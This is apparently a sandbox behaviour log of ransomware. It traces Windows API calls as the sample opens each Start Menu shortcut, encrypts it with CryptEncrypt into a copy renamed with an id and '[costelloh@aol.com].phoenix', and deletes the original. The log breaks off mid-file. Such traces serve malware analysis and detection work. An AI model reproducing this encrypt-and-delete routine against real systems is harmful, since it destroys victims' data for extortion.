	[0263.497] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Math Input Panel.lnk.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\accessories\\math input panel.lnk.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0263.497] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Math Input Panel.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\accessories\\math input panel.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x254
	[0263.497] SetFilePointerEx (in: hFile=0x254, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0263.497] SetFilePointerEx (in: hFile=0x254, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0263.497] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Math Input Panel.lnk.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\accessories\\math input panel.lnk.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310
	[0263.748] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfda8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe04 | out: phKey=0x2ccfe04*=0x1513c0) returned 1
	[0263.748] CryptSetKeyParam (hKey=0x1513c0, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0263.748] ReadFile (in: hFile=0x254, lpBuffer=0x835020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2ccfe2c, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesRead=0x2ccfe2c*=0x49e, lpOverlapped=0x0) returned 1
	[0263.803] CryptEncrypt (in: hKey=0x1513c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x4a0, dwBufLen=0x4a0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x4a0) returned 1
	[0263.803] WriteFile (in: hFile=0x310, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x4a0, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x4a0, lpOverlapped=0x0) returned 1
	[0263.804] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfd9c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe08 | out: phKey=0x2ccfe08*=0x151380) returned 1
	[0263.804] CryptSetKeyParam (hKey=0x151380, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0263.804] CryptEncrypt (in: hKey=0x151380, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x50, dwBufLen=0x50 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x50) returned 1
	[0263.804] CryptDestroyKey (hKey=0x151380) returned 1
	[0263.804] WriteFile (in: hFile=0x310, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x102, lpOverlapped=0x0) returned 1
	[0263.804] CryptDestroyKey (hKey=0x1513c0) returned 1
	[0263.804] CloseHandle (hObject=0x254) returned 1
	[0263.804] CloseHandle (hObject=0x310) returned 1
	[0263.840] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Math Input Panel.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\accessories\\math input panel.lnk")) returned 1
	[0263.858] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0263.858] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Remote Desktop Connection.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\accessories\\remote desktop connection.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4
	[0263.859] GetFileSizeEx (in: hFile=0x2d4, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=1215) returned 1
	[0263.859] CloseHandle (hObject=0x2d4) returned 1
	[0263.859] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Remote Desktop Connection.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\accessories\\remote desktop connection.lnk")) returned 0x20
	[0263.859] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Remote Desktop Connection.lnk.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\accessories\\remote desktop connection.lnk.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0263.859] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Remote Desktop Connection.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\accessories\\remote desktop connection.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4
	[0263.859] SetFilePointerEx (in: hFile=0x2d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0263.860] SetFilePointerEx (in: hFile=0x2d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0263.860] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Remote Desktop Connection.lnk.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\accessories\\remote desktop connection.lnk.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b0
	[0263.887] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfda8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe04 | out: phKey=0x2ccfe04*=0x151200) returned 1
	[0263.887] CryptSetKeyParam (hKey=0x151200, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0263.887] ReadFile (in: hFile=0x2d4, lpBuffer=0x835020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2ccfe2c, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesRead=0x2ccfe2c*=0x4bf, lpOverlapped=0x0) returned 1
	[0263.971] CryptEncrypt (in: hKey=0x151200, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x4c0, dwBufLen=0x4c0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x4c0) returned 1
	[0263.971] WriteFile (in: hFile=0x2b0, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x4c0, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x4c0, lpOverlapped=0x0) returned 1
	[0263.972] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfd9c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe08 | out: phKey=0x2ccfe08*=0x151500) returned 1
	[0263.972] CryptSetKeyParam (hKey=0x151500, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0263.972] CryptEncrypt (in: hKey=0x151500, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x60, dwBufLen=0x60 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x60) returned 1
	[0263.972] CryptDestroyKey (hKey=0x151500) returned 1
	[0263.972] WriteFile (in: hFile=0x2b0, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x112, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x112, lpOverlapped=0x0) returned 1
	[0263.972] CryptDestroyKey (hKey=0x151200) returned 1
	[0263.972] CloseHandle (hObject=0x2d4) returned 1
	[0263.973] CloseHandle (hObject=0x2b0) returned 1
	[0264.025] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Remote Desktop Connection.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\accessories\\remote desktop connection.lnk")) returned 1
	[0264.061] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0264.061] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Steps Recorder.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\accessories\\steps recorder.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4
	[0264.103] GetFileSizeEx (in: hFile=0x2d4, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=1096) returned 1
	[0264.103] CloseHandle (hObject=0x2d4) returned 1
	[0264.103] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Steps Recorder.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\accessories\\steps recorder.lnk")) returned 0x20
	[0264.103] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Steps Recorder.lnk.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\accessories\\steps recorder.lnk.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0264.103] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Steps Recorder.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\accessories\\steps recorder.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4
	[0264.103] SetFilePointerEx (in: hFile=0x2d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0264.104] SetFilePointerEx (in: hFile=0x2d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0264.104] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Steps Recorder.lnk.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\accessories\\steps recorder.lnk.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0264.396] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfda8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe04 | out: phKey=0x2ccfe04*=0x151540) returned 1
	[0264.396] CryptSetKeyParam (hKey=0x151540, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0264.396] ReadFile (in: hFile=0x2d4, lpBuffer=0x835020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2ccfe2c, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesRead=0x2ccfe2c*=0x448, lpOverlapped=0x0) returned 1
	[0264.439] CryptEncrypt (in: hKey=0x151540, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x450, dwBufLen=0x450 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x450) returned 1
	[0264.439] WriteFile (in: hFile=0x2c0, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x450, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x450, lpOverlapped=0x0) returned 1
	[0264.441] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfd9c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe08 | out: phKey=0x2ccfe08*=0x151500) returned 1
	[0264.441] CryptSetKeyParam (hKey=0x151500, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0264.441] CryptEncrypt (in: hKey=0x151500, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x50, dwBufLen=0x50 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x50) returned 1
	[0264.441] CryptDestroyKey (hKey=0x151500) returned 1
	[0264.441] WriteFile (in: hFile=0x2c0, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x102, lpOverlapped=0x0) returned 1
	[0264.441] CryptDestroyKey (hKey=0x151540) returned 1
	[0264.441] CloseHandle (hObject=0x2d4) returned 1
	[0264.441] CloseHandle (hObject=0x2c0) returned 1
	[0264.538] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Steps Recorder.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\accessories\\steps recorder.lnk")) returned 1
	[0264.595] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0264.595] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\System Tools\\Character Map.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\accessories\\system tools\\character map.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4
	[0264.597] GetFileSizeEx (in: hFile=0x2c4, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=1114) returned 1
	[0264.597] CloseHandle (hObject=0x2c4) returned 1
	[0264.598] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\System Tools\\Character Map.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\accessories\\system tools\\character map.lnk")) returned 0x20
	[0264.598] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\System Tools\\Character Map.lnk.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\accessories\\system tools\\character map.lnk.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0264.598] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\System Tools\\Character Map.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\accessories\\system tools\\character map.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4
	[0264.598] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0264.598] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0264.598] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\System Tools\\Character Map.lnk.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\accessories\\system tools\\character map.lnk.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0264.677] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfda8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe04 | out: phKey=0x2ccfe04*=0x151400) returned 1
	[0264.677] CryptSetKeyParam (hKey=0x151400, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0264.677] ReadFile (in: hFile=0x2c4, lpBuffer=0x835020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2ccfe2c, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesRead=0x2ccfe2c*=0x45a, lpOverlapped=0x0) returned 1
	[0264.686] CryptEncrypt (in: hKey=0x151400, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x460, dwBufLen=0x460 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x460) returned 1
	[0264.686] WriteFile (in: hFile=0x2c0, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x460, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x460, lpOverlapped=0x0) returned 1
	[0264.688] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfd9c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe08 | out: phKey=0x2ccfe08*=0x151700) returned 1
	[0264.688] CryptSetKeyParam (hKey=0x151700, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0264.688] CryptEncrypt (in: hKey=0x151700, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x50, dwBufLen=0x50 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x50) returned 1
	[0264.688] CryptDestroyKey (hKey=0x151700) returned 1
	[0264.688] WriteFile (in: hFile=0x2c0, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x102, lpOverlapped=0x0) returned 1
	[0264.688] CryptDestroyKey (hKey=0x151400) returned 1
	[0264.688] CloseHandle (hObject=0x2c4) returned 1
	[0264.688] CloseHandle (hObject=0x2c0) returned 1
	[0264.788] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\System Tools\\Character Map.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\accessories\\system tools\\character map.lnk")) returned 1
	[0264.820] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0264.820] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Wordpad.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\accessories\\wordpad.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4
	[0264.854] GetFileSizeEx (in: hFile=0x2c4, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=1154) returned 1
	[0264.854] CloseHandle (hObject=0x2c4) returned 1
	[0264.854] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Wordpad.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\accessories\\wordpad.lnk")) returned 0x20
	[0264.854] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Wordpad.lnk.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\accessories\\wordpad.lnk.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0264.856] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Wordpad.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\accessories\\wordpad.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x244
	[0264.856] SetFilePointerEx (in: hFile=0x244, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0264.856] SetFilePointerEx (in: hFile=0x244, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0264.856] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Wordpad.lnk.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\accessories\\wordpad.lnk.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4
	[0264.865] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfda8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe04 | out: phKey=0x2ccfe04*=0x151780) returned 1
	[0264.865] CryptSetKeyParam (hKey=0x151780, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0264.865] ReadFile (in: hFile=0x244, lpBuffer=0x835020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2ccfe2c, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesRead=0x2ccfe2c*=0x482, lpOverlapped=0x0) returned 1
	[0264.923] CryptEncrypt (in: hKey=0x151780, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x490, dwBufLen=0x490 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x490) returned 1
	[0264.923] WriteFile (in: hFile=0x2d4, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x490, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x490, lpOverlapped=0x0) returned 1
	[0264.924] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfd9c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe08 | out: phKey=0x2ccfe08*=0x151500) returned 1
	[0264.924] CryptSetKeyParam (hKey=0x151500, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0264.925] CryptEncrypt (in: hKey=0x151500, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x40, dwBufLen=0x40 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x40) returned 1
	[0264.925] CryptDestroyKey (hKey=0x151500) returned 1
	[0264.925] WriteFile (in: hFile=0x2d4, lpBuffer=0x835020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0xf2, lpOverlapped=0x0) returned 1
	[0264.927] CryptDestroyKey (hKey=0x151780) returned 1
	[0264.927] CloseHandle (hObject=0x244) returned 1
	[0264.927] CloseHandle (hObject=0x2d4) returned 1
	[0265.088] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Wordpad.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\accessories\\wordpad.lnk")) returned 1
	[0265.114] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0265.114] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Acrobat Reader DC.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\acrobat reader dc.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4
	[0265.119] GetFileSizeEx (in: hFile=0x2d4, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=2457) returned 1
	[0265.119] CloseHandle (hObject=0x2d4) returned 1
	[0265.119] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Acrobat Reader DC.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\acrobat reader dc.lnk")) returned 0x20
	[0265.119] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Acrobat Reader DC.lnk.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\acrobat reader dc.lnk.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0265.119] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Acrobat Reader DC.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\acrobat reader dc.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4
	[0265.120] SetFilePointerEx (in: hFile=0x2d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0265.120] SetFilePointerEx (in: hFile=0x2d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0265.120] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Acrobat Reader DC.lnk.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\acrobat reader dc.lnk.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4
	[0265.145] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfda8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe04 | out: phKey=0x2ccfe04*=0x151780) returned 1
	[0265.145] CryptSetKeyParam (hKey=0x151780, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
